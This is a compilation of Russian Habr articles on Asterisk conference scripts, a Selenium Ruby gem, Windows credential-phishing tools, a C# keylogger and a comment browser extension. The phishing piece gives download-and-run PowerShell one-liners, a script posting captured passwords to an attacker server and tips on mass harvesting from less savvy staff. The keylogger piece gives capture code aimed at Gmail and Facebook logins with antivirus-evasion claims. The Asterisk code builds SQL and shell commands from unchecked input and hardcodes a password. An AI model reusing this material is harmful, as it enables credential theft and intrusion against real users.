Гонимый пожеланиями пользователей, я стал развивать данную фичу.
Следующим стала возможность создавать конференции с нуля (не из разговора), а так же заходить в уже созданные конференции по их номеру, а не ждать приглашающего звонка
Добавляем в диалплан:
```
_*1XXXX => {
NoOp(${CONFCHAN});
Set(__CONFNUM=${EXTEN:2});
System(/usr/bin/php /home/script/conference.php 3 ${CONFCHAN} ${CONFNUM} );
}
```
Добавляем в скрипт:
**conference.php**
```
//Для создание конференций с нуля
if ($kusok == 3){
//Получаем переменные
$channel = $argv[2];
$confnum = $argv[3];
//Коннект
$sconn = fsockopen ($host, $port, $timeout) or die ("Connection to $host:$port failed!");
fputs ($sconn, "Action: Login\r\n");
fputs ($sconn, "Username: $user\r\n");
fputs ($sconn, "Secret: $pass\r\n\r\n");
//Задаем переменные канала
fputs ($sconn, "Action: Setvar\r\n");
fputs ($sconn, "Channel: $channel\r\n");
fputs ($sconn, "Variable: CONFNUM\r\n");
fputs ($sconn, "Value: $confnum\r\n\r\n");
//Редиректим
fputs ($sconn, "Action: Redirect\r\n");
fputs ($sconn, "Channel: $channel\r\n");
fputs ($sconn, "Context: service_code-ael\r\n");
fputs ($sconn, "Exten: conference\r\n");
fputs ($sconn, "Priority: 1\r\n\r\n");
fputs($sconn, "Action: Logoff\r\n\r\n");
sleep(2);
fclose ($sconn);
```
Так же пришлось доработать строчку \_\*X.
```
_*X. => {
set(__CONFCHAN=${CHANNEL});
Dial(Local/${EXTEN}@service_code-ael);
```
Теперь чтобы войти в конференцию или создать ее с нуля, просто совершается звонок на \*1 и номер, например \*15234.
Финальной мутацией этого сервиса пока является так называемая «групповая конференция». Это когда большим начальникам лень всех добавлять вручную, а хочется нажать одну кнопку и все в сборе. Для этого я решил сделать отдельные сервис коды (\*XXX), чтобы людям и самому не путаться. Для нашей организации вряд ли в ближайшие 100 лет потребуется over1000 конференц групп, так что запаса нумерации должно хватить. У себя вы можете добавить как другой префикс, так выделить другую номерную емкость.
Диалплан:
```
_*XXX=> {
Set(CONFNUM=${CALLERID(num)});
System(/usr/bin/php /home/script/groups.php ${EXTEN:1} ${CONFNUM});
ConfBridge(${CONFNUM},,,default_menu);
}
```
Сам скрип сбора участников:
**groups.php**
```
//Функция звонка
function call ($group, $confnum) {
$many = count($group);
//Цикл разбора массива номеров группы на номера
for ($i=0; $many>$i; $i++) {
//достаем из массива номера
$num = trim(array_shift($group[$i]));
//Звоним
system("asterisk -rx \"channel originate Local/$num@out-ael application ConfBridge $confnum\"");
}
}
//функция получения массива группы
function conf_group ($groupid) {
//Коннектим в базу
$opt = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
);
$pdo = new PDO("odbc:mssql_asterisk, "asterisk, "121212", $opt);
//Селектим из базы
$sql = "SELECT extension FROM [asterisk].[dbo].[conf_groups] where groupid = $groupid";
$select = $pdo->query($sql);
$result = $select->fetchAll();
//Дисконенктим
$pdo = NULL;
return $result;
}
//Получаем значение группы, которой надо позвонить
$groupid = $argv[1];
//Получаем номер конференции
$confnum = $argv[2];
//Получаем массив номеров
$group=conf_group($groupid);
//Звоним
call($group, $confnum);
}
```
Все группы хранятся в базе данных по структуре «Группы, номер, имя, описание». Если появляется новая группа, то просто добавляем ее в базу.
Теперь для сбора, например, всех директоров на совещание, генеральному всего лишь потребуется набрать \*100. А как правило у больших боссов большие телефоны. Следовательно биндим \*100 на любую клавишу speeddial'а, подписываем как «директора» и пользователь вообще не заморачивается, что ему набрать. Кнопку нажал — совещание собрал.
**Теперь предвосхищая ваши вопросы:**
Почему скрипты и ami? Потому что средствами диалплана у меня так и не получилось сделать вменяемый редирект обоих каналов, не растеряв их по дороге. В ami же в функции redirect можно прицепить доп канал + задать ему переменную (например номер конференции, чтобы он тоже мог кого то в нее добавить).
Так же вы могли заметить, что я вынес фичи в отдельный контекст service\_code-ael. Это удобно, когда всяких фич у вас становится больше пары штук. Я решил делать их через \*, следовательно в любом контексте я просто пишу \_\*X. и адресую в этот контекст. Возможно, кто то найдет решение изящнее, но я за несколько месяцев так и не нашел. А данный функционал пришелся пользователям по душе.
Почему ael, а не conf? Ну потому что он структурированней и читать его легче
и понятнее. Одна функция gotoif чего стоит. До lua я еще не дорос.
Почему в примере массового сбора originate сделаны через bash, а не через AMI? Проблема в том, что выполняя кучу originate подряд через ami, система ждет, пока завершится предыдущий, чтобы дать следующий. А если никто не берет трубку, а там 20 секунд no\_ans и таких 5 штук? Можно будет до вечера ждать сбора.
Ну вот, пожалуй, и все. Надеюсь эта статья поможет таким же ищущим, каким был я, когда все это потребовалось сделать быстро, комфортно для пользователей, а главное, чтобы в дальнейшем обслуживать данную систему было удобно самому, так сказать с заделом на будущее. | https://habr.com/ru/post/427117/ | null | ru | null |
# Ускоряем написание Selenium-автотестов на Ruby
Одним из инструментов, позволяющих автоматизировать взаимодействие с браузером, является Selenium Webdriver. В действительности автоматизированные тесты веб-страниц с использованием Selenium Webdriver выглядят довольно громоздко. Вот «небольшой» пример, который параллельно в двух браузерах открывает страницу поисковика Google, заполняет поисковую строку и отправляет форму:
Как показала практика, при небольших изменениях в структуре страницы зачастую приходится переработать довольно большой объём кода, что опять же влечет за собой большие затраты времени. Были предприняты попытки поиска инструментов, позволяющих сделать тесты менее объёмными и более читабельными, но их просто не оказалось. Было принято решение разработать гем с DSL (англ. Domain Specific Language, DSL — «предметно-специфичный язык»), который позволил бы создавать интуитивно понятные тесты, не содержащие ничего лишнего и их можно было легко и быстро править. Гем получил название SelWeT (Selenium Web Test).
При разработке использовался язык Ruby 2.1.3 и гемы selenium-webdriver, test-unit и shoulda-context. Для выбора элементов на странице было решено использовать только CSS селекторы, т.к. они перекрывают все необходимые потребности (выбор группы или одного конкретного элемента на странице). Это в какой-то мере упрощало задачу.
Гем SelWeT позволяет:
* проводить тестирование как в одном, так и нескольких браузерах (выполняется параллельно);
* проверять наличие одного или группы элементов на странице;
* взаимодействовать с элементами страницы (кликнуть на элемент, навести курсор на элемент, заполнить текстовое поле, заполнить и отправить форму, выбрать значения в select, проверить состояние checkbox и radio, переключиться на iframe, и т.д.);
* взаимодействовать с браузером (переход по ссылке, очистка кэша, сделать скриншот открытой страницы, открытие ссылки в новом окне и т.д.).
Чтобы выполнять тесты, необходимо иметь запущенный на локальной или удаленной машине Selenium Server версии не ниже 2.44 с указанием необходимых драйверов (драйвера требуются для IE, Chrome).
Пример запуска Selenium Server с драйвером для Chrome на машине с Windows 7:
```
java -jar selenium-server-standalone-2.44.0.jar -Dwebdriver.chrome.driver = /path/to/chromedriver.exe
```
Конечно же, предварительно необходимо установить необходимый браузер на данную машину.
Gemfile для машины, где будет производиться запуск тестов:
```
gem 'selenium-webdriver', '~> 2.44.0'
gem 'test-unit', '~> 3.0.8'
gem 'shoulda-context', '~> 1.2.1'
gem 'selwet', '~> 0.0.2'
```
Пример, демонстрирующий функциональность гема:
```
require 'selwet' # подключаем гем
class SelWeT::Unit # для написания тестов используется класс Unit
setBrowsers [:firefox, :chrome] # список браузеров, в которых будет производиться тестировние
setSeleniumServerUrl 'http://127.0.0.1:4444/wd/hub' # адрес запущенного selenium server
context "Habr" do
should "1. Find habrahabr" do
# перейти по ссылке 'https://www.google.ru/'
Unit.followTheLink 'https://www.google.ru/'
#заполняем и отправляем форму на странице поиска
status, error = Unit.postForm 'form', {'[type="text"]'=>"habrahabr", 'button[name="btnG"]'=>:submit}
# проверяем, что при заполнении и отправке формы не возникло ошибок
assert_equal true, status, error
end
should "2. Open harbahabr" do
# в новом окне открываем ссылку на хабр
status, error = Unit.openInNewWindow '[href = "http://habrahabr.ru/"]'
# закрываем окно с поисковиком
Unit.closeWindow 0
# проверяем, что при выполнении не вознилкло ошибок
assert_equal true, status, error
status, error = Unit.checkLocation 'http://habrahabr.ru/' # проверяем, что
assert_equal true, status, error # текущая страница http://habrahabr.ru/
end
should "3. Click on first article" do
# кликаем на заголовок первой статьи на хабре
status, error = Unit.click "div.post:first-child a.post_title"
# проверяем, что всё прошло успешно
assert_equal true, status, error
end
end
end
```
Как видно из примера, SelWeT позволяет довольно быстро набросать понятный функциональный тест.
Для установки гема необходимо выполнить
```
gem install selwet
```
Документация находится в репозитории на GitHub.
SelWeT: <https://github.com/inventos/selwet.git>
Selenium wiki: <https://code.google.com/p/selenium/wiki/Grid2>
Shoulda-context: <https://github.com/thoughtbot/shoulda-context>
Test-unit: <https://github.com/test-unit/test-unit> | https://habr.com/ru/post/247725/ | null | ru | null |
# Фишинг учетных данных Windows
В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года — с 9% до 18%. Такие данные приводит “Лаборатория Касперского”.
В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) — нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки.
### С#
Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)
1) Утилита [The FakeLogonScreen](https://github.com/bitsadmin/fakelogonscreen) была разработана [Arris Huijgen](https://twitter.com/bitsadmin) на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.
*FakeLogonScreen — запуск*
*FakeLogonScreen — блокировка экрана*
При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.
*FakeLogonScreen — Ввод учетных данных*
Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:
```
type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
```
*FakeLogonScreen — сохранение в файл user.db*
2) Похожим образом устроена программа [SharpLocker](https://github.com/Pickfordmatt/SharpLocker), разработанная [Matt Pickford](https://twitter.com/Mattspickford). После запуска она также подменяет собой оригинальный экран входа в систему.
*SharpLocker — блокировка экрана*
Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.
*SharpLocker — фишинг пароля*
### Power Shell
Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.
1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется [CredsLeaker](https://github.com/Dviros/CredsLeaker). Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.
*CredsLeaker — HTTP Delivery*
Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.
*CredsLeaker — окно фишинга*
Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:
```
/var/www/html/creds.txt
```
*CredsLeaker — вывод в файл creds.txt*
2. [Matt Nelson](https://twitter.com/enigma0x3) разработал PowerShell [скрипт](https://github.com/enigma0x3/Invoke-LoginPrompt), который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине «злоумышленника»:
```
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
```
*Invoke-LoginPrompt — удаленный вызов*
*Invoke-LoginPrompt — окно фишинга*
3. В составе [Nishang framework](https://github.com/samratashok/nishang) тоже имеется [PowerShell-скрипт](https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1), который создает фейковое окно запроса учетных данных пользователя.
```
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
```
*Invoke-CredentialsPhish — локальный вызов и окно фишинга*
Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.
*Invoke-CredentialsPhish — вывод собранных данных*
Данный скрипт также может быть запущен удаленно:
```
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
```
[Rob Fuller](https://twitter.com/mubix) в своем [блоге](https://malicious.link/post/2015/powershell-popups-and-capture/) описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:
```
use auxiliary/server/capture/http_basic
set URIPATH /
```
PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:
```
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
```
Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:
```
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0
```
*Конвертация кода в Base64*
Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.
```
powershell.exe -ep bypass -enc
```
*Окно фишинга учетных данных*
Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.
*Metasploit HTTP Server — получение учетных данных*
### Metasploit
Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.
```
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
```
*Metasploit Module — конфигурация*
В данном случае символ \* указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.
*Metasploit Module — мониторинг по всем процессам*
Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.
*Metasploit Module — окно фишинга*
Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.
*Metasploit Module — получение учетных данных*
Также данный модуль может быть настроен на ожидание запуска конкретного процесса.
*Metasploit Module — получение учетных данных через процесс notepad.exe*
### BASH
Lockphish — это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.
```
bash lockphish.sh
```
*LockPhish — запуск*
На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.
*LockPhish — скачивание файла*
В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.
*LockPhish — экран блокировки*
После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.
*LockPhish — редирект*
Учетные данные будут отображены в консоли.
*LockPhish — собранные учетные данные*
Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.
> ### **Краткий вердикт по всем протестированным ПО**
>
>
>
> * **FakeLogonScreen.** Выглядит максимально правдоподобно, при этом использует стандартные параметры, установленные в системе. Умеет выполнять валидацию введенных учетных данных. (Лучший выбор)
> * **SharpLocker.** Не выполняет проверку подлинности, использованы стандартные обои windows для LockScreen, верстка самого локскрина слегка уходит вправо, что может насторожить пользователя. (Не рекомендуется к использованию, если есть возможность применить FakeLogonScreen)
> * **CredsLeaker.** Простота исполнения, генерирует аутентичное окно, но требует веб-сервер для работы. Если нужно сработать по одному пользователю, то наличие веб-сера — это скорее минус, если есть возможность запустить скрипт на всех компьютерах домена и массово “причесать” учетные данные, то веб-сервер — это, безусловно, плюс. (Рекомендовано для массового сбора учетных данных)
> * **Invoke-LoginPrompt.** Простота реализации, подойдет для точечного применения, создаваемое окно стилизовано под старые или серверные версии Windows. Может вызвать подозрения у пользователя. (Рекомендовано к использованию, но с осторожностью)
> * **Invoke-CredentialsPhish.** Все то же самое, что и у пациента выше.
> * **Скрипт от Rob Fuller.** Интеграция с metasploit, возможность массового применения, легкие танцы с бубном в виде конвертации. (Также отлично подойдет для массового сбора учетных данных)
> * **Модуль Metasploit phish\_windows\_credentials.** Полная интеграция с Metasploit (таки модуль), создаваемое окно старой версии. (Применять можно, но учитывайте IT-грамотность жертвы)
> * **LockPhish.** С одной стороны — криво сверстанный локскрин, без проверки подлинности, да еще и без учета текущего пользователя (Всегда просит пароль от Administrator). С другой стороны — единственный из пациентов, который может сработать через браузер. Отослали жертве ссылку и ждем. (Применять из коробки не рекомендуется, однако, если знаете логин конкретной жертвы, то перенастройте с Adminnistrator на него и будет уже не так плохо. Может даже и сработать)
>
Еще больше материалов [в нашем блоге в telegram.](https://t.me/tomhunter) Подписывайся! | https://habr.com/ru/post/511286/ | null | ru | null |
# Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
**Зачем ИБ-персоналу эти сомнительные навыки?**
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
**Кейлогер**
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Начнем.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
```
1. [DllImport("user32.dll")]
2.
3. public static extern int GetAsyncKeyState(Int32 i);
```
Вы можете изучить больше про фунцию GetAsyncKeyState на [MSDN](https://msdn.microsoft.com/en-us/library/windows/desktop/ms633505%28v=vs.85%29.aspx):
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
```
1. while (true)
2. {
3. Thread.Sleep(100);
4. for (Int32 i = 0; i < 255; i++)
5. {
6. int state = GetAsyncKeyState(i);
7. if (state == 1 || state == -32767)
8. {
9. Console.WriteLine((Keys)i);
10.
11. }
12. }
13. }
```
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
**Умный кейлогер**
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
```
1. while (true)
2. {
3. IntPtr handle = GetForegroundWindow();
4. if (GetWindowText(handle, buff, chars) > 0)
5. {
6. string line = buff.ToString();
7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8. {
9. //проверка клавиатуры
10. }
11. }
12. Thread.Sleep(100);
13. }
```
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
**Еще более умный кейлогер**
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
```
1. //Ищем почтовый адрес
2. ^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$
3.
4.
5. //Ищем пароль
6. (?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])
```
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
```
1. Regex re = new Regex(@"^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$");
2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])");
3. string email = "Oded.awask@gmail.com";
4. string pass = "abcde3FG";
5. Match result = re.Match(email);
6. Match result2 = re2.Match(pass);
```
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
**Бесплатно и полностью не обнаружим**
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На [этой](https://www.virustotal.com/en/file/86beb2fe5cc228e68b25cad9014435e0105705a07b12cf46cf01f9867ab6ed38/analysis/1459752882/) странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более [глубинная оценка действий всех пользователей и даже сервисов](https://www.varonis.com/ru), чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО. | https://habr.com/ru/post/302458/ | null | ru | null |
# Если нельзя оставить комментарий, но очень хочется, то можно
Да, именно с такой проблемой я столкнулся при посещении очередной Landing page, продавшей мне якобы первоклассный товар. Но после визита курьера понимаешь, что тебя развели, а оставить отзыв или еще как-либо предупредить остальных ты не в силах. В этот момент в голову и пришла мысль о расширении для браузера, которое позволило бы оставлять комментарии, заметки, отзывы или читать чужие, прямо на посещаемом сайте.
Имя всему этому *CommentAll*. Если еще интересно — прошу под кат. Даже если **не интересно**, все равно загляните под кат, может быть, ещё рано делать выводы, а оставить свой гневный комментарий — это всегда пожалуйста.
#### Как все было
Выбирал я как раз подарок супруге, наткнувшись на сайт, продающий ночной проектор, проецирующий на потолок звездную галактику. Я был в шоке — его презентация на сайте купила меня. Вернувшись на сайт после того, как покрутил в руках то, что привез курьер и не найдя сходства с тем, что рекламировано на сайте, я увидел только статичные комментарии и форму, которая отправляет мой отзыв в никуда.
Поучаствовать можно было лишь в издевательском опросе, вот и он:
• Мы в восторге, теперь спим как в сказке
• Оригинальный подарок, спасибо!
• Отлично, что работаете круглосуточно
• Обязательно куплю!
• Заказывал, остались довольны, спасибо огромное
В итоге задело это все меня, и появилась цель так просто это не оставить. Задумка расширения *Commentall* — это предоставить возможность интернет-аудитории общаться напрямую на сайтах, никуда не переходя, предупредить других пользователей сети о возможном размещении опасного контента, порой не точной или даже лживой информации, т.е. даже там, где сам автор не предусмотрел возможность комментирования или счел это лишним.
Вместо тысячи слов о принципе работы самого расширения предлагаю посмотреть короткое минутное видео:
#### Немного о технической стороне проекта
Расширение написано под браузеры на движке WebKit, такие как [Google Chrome](https://chrome.google.com/webstore/detail/commentall/pmckekkahjbhdifpdeoojnommfgnecjp)( + его производные [Яндекс.Браузер](https://chrome.google.com/webstore/detail/commentall/pmckekkahjbhdifpdeoojnommfgnecjp), [Амиго](https://chrome.google.com/webstore/detail/commentall/pmckekkahjbhdifpdeoojnommfgnecjp), и т.д.), под [Opera](https://addons.opera.com/ru/extensions/details/commentall/) отдельный релиз, так как у Opera свой магазин расширений, и отличный от остальных [Firefox](https://addons.mozilla.org/ru/firefox/addon/commentall/), под все остальное пока нет, под IE даже не знаю стоит ли.
Главная трудность, с которой пришлось столкнуться – современные браузеры не позволяют делать кроссдоменные запросы. Причем применительно для расширений большинство найденных в сети методов, таких как JSONP, CORS не действовали или не могли быть применены. Решение пришло от самого расширения – в браузерах на WebKit они состоят из «основной» части и так называемого «background’a». И получается, что все запросы, которые проходят в background’е – браузер пропускает. Осталось связать все это вместе. Выходит такая цепочка:
